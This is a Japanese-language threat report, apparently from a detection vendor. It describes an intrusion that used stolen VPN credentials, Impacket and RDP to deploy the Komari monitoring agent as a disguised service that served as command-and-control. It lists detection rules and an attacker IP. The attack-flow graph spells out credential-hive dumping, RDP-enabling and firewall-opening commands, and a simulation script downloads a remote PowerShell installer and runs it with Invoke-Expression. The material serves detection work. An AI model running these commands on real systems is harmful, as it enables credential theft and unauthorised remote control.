Komari: 武器化の必要がなかった “モニタリング” ツール
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターが盗まれたVPN資格情報を使用してHuntressパートナーのWindowsワークステーションにアクセスし、RDPを有効にして、NSSMを通じてWindows Update Serviceに偽装したSYSTEMレベルのサービスとしてオープンソースのKomari監視エージェントをデプロイしました。インストールされると、このエージェントは攻撃者が制御するインフラストラクチャとの持続的なWebSocket接続を確立し、コマンド実行、ターミナルアクセス、ハートビート方式のピングなどの機能を提供しました。実際、このツールは追加の武器化を必要としない軽量のコマンドアンドコントロールフレームワークとして機能しました。
調査
侵入は次の場所からのSSL VPNログインで始まりました 45.153.34.132、その後、Impacketの smbexec.py を使用してRDPを有効にし、一連のリモートコマンドを実行しました。調査官は、PowerShellワンライナーが直接GitHubからKomariインストーラーをダウンロードし、Windowsサービスとして登録したことを発見しました。そのサービスは次に komari-agent.exeを起動し、攻撃者のサーバーにWebSocketセッションを開き、ホスト上で任意のリモートコマンド実行を可能にしました。
緩和策
Huntressは、妥協されたワークステーションを隔離し、影響を受けたユーザーアカウントを無効にし、NSSMが作成したKomariサービスを停止することで対応しました。悪意のあるWebSocket接続がブロックされ、持続メカニズムがシステムから削除されました。推奨されるフォローアップ防御策には、VPNアクセス制御の強化、疑わしいサービス作成イベントの監視、アウトバウンドWebSocket活動の調査、およびRDPセキュリティの強化が含まれます。
対応
Windows Update Serviceとして名前が付けられたWindowsサービスの作成を検出し、それが komari-agent.exeを指している場合、見慣れないホストへの長時間存続するアウトバウンドWebSocket接続を監視し、横移動のためのImpacketツールの使用に警告します。 smbexec.py が特定された場合、影響を受けたエンドポイントは直ちに封じ込め、妥協した資格情報を取り消し、不正なサービスを環境から除去すべきです。
graph TB
%% クラス定義
classDef action fill:#99ccff
classDef technique fill:#ffcc99
classDef tool fill:#cccccc
classDef process fill:#e6e6fa
%% ノード – アクション/テクニック
action_initial_access[“アクション – T1078 有効なアカウント
説明: 盗まれたVPN資格情報を使用してSSLVPNセッションを確立し、初期アクセスを得る。”]
class action_initial_access technique
action_cred_dump[“アクション – T1552.002 保護されていない資格情報
説明: SAM、システムおよびセキュリティレジストリハイブをダンプしてパスワードハッシュを取得します。”]
class action_cred_dump technique
action_enable_rdp[“アクション – T1599 ネットワーク境界ブリッジング
説明: レジストリ鍵fDenyTSConnectionsを変更してリモートデスクトッププロトコルアクセスを有効にします。”]
class action_enable_rdp technique
action_firewall_rule[“アクション – T1562.004 防御の損なう
説明: Allow RDPという名前のファイアウォールルールを作成し、インバウンドTCPポート3389を開放します。”]
class action_firewall_rule technique
%% ノード – ツール/プロセス
tool_vpn[“ツール – 名前: VPNクライアント
目的: SSLVPN経由で企業ネットワークに接続します。”]
class tool_vpn tool
process_regdump[“プロセス – コマンド: reg save HKLM\SYSTEM\…
説明: SAM、システムおよびセキュリティハイブをダンプします。”]
class process_regdump process
process_reg_modify[“プロセス – コマンド: reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server / v fDenyTSConnections / t REG_DWORD / d 0 / f
説明: レジストリ変更を通じてRDPを有効にします。”]
class process_reg_modify process
process_fw_rule[“プロセス – コマンド: netsh advfirewall firewall add rule name=”Allow RDP” dir=in action=allow protocol=TCP localport=3389
説明: インバウンドRDPトラフィックを許可するファイアウォールルールを追加します。”]
class process_fw_rule process
%% 接続
action_initial_access –>|uses| tool_vpn
action_initial_access –>|leads to| action_cred_dump
action_cred_dump –>|uses| process_regdump
action_cred_dump –>|leads to| action_enable_rdp
action_enable_rdp –>|uses| process_reg_modify
action_enable_rdp –>|leads to| action_firewall_rule
action_firewall_rule –>|uses| process_fw_rule
アタックフロー
検出
Impacketコマンドラインパターンの可能性(cmdline経由)
表示
Impacketを使用したリモートコード実行の可能性(cmdline経由)
表示
バイパス実行ポリシーを使用して怪しいディレクトリにファイルを実行するPowershell(cmdline経由)
表示
Powershellを介したダウンロードまたはアップロード(cmdline経由)
表示
リモートデスクトップサービスのシャドウイングの可能性(process_creation経由)
表示
CLIを通じた疑わしいファイアウォール変更(cmdline経由)
表示
コマンドラインにURLを使用する疑わしいプロセス(cmdline経由)
表示
代替リモートアクセス/管理ソフトウェア(process_creation経由)
表示
検出するためのIOC(HashSha256):Komari:武器化を必要としなかった「監視」ツール
表示
検出するためのIOC(SourceIP):Komari:武器化を必要としなかった「監視」ツール
表示
検出するためのIOC(DestinationIP):Komari:武器化を必要としなかった「監視」ツール
表示
Impacket smbexec.pyおよびcmd.exeの実行の検出(RDP経由)[Windowsプロセス作成]
表示
KomariエージェントインストールのPowerShell実行[Windows PowerShell]
表示
Windows Update Serviceを介したKomariエージェントの持続性を検出する[Windowsシステム]
表示
無許可のSSLVPNアクセスおよび妥協後の活動の検出[ファイアウォール]
表示
シミュレーション実行
前提条件:テレメトリ&ベースラインのプリフライトチェックが合格している必要があります。
-
攻撃の説明とコマンド:
敵はWindowsホストに足がかりを得て、Komari C2エージェントをインストールして持続性を維持し、後で資格情報(T1003.001)をダンプしようとしています。従来のスクリプトブロッキング防御を回避するために、攻撃者は-ExecutionPolicy Bypassを使用してPowerShellを実行し、公開されているGitHubリポジトリから直接インストーラーをダウンロードします。このコマンドラインは検出ルールに正確に一致し、予期されたテレメトリを生成します。 -
回帰テストスクリプト:
# Komariエージェントインストールシミュレーション $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
クリーンアップコマンド:
# シミュレーションインストーラーによって作成されたファイルを削除する(ある場合) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # 開始したかもしれないKomariプロセスを停止する Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force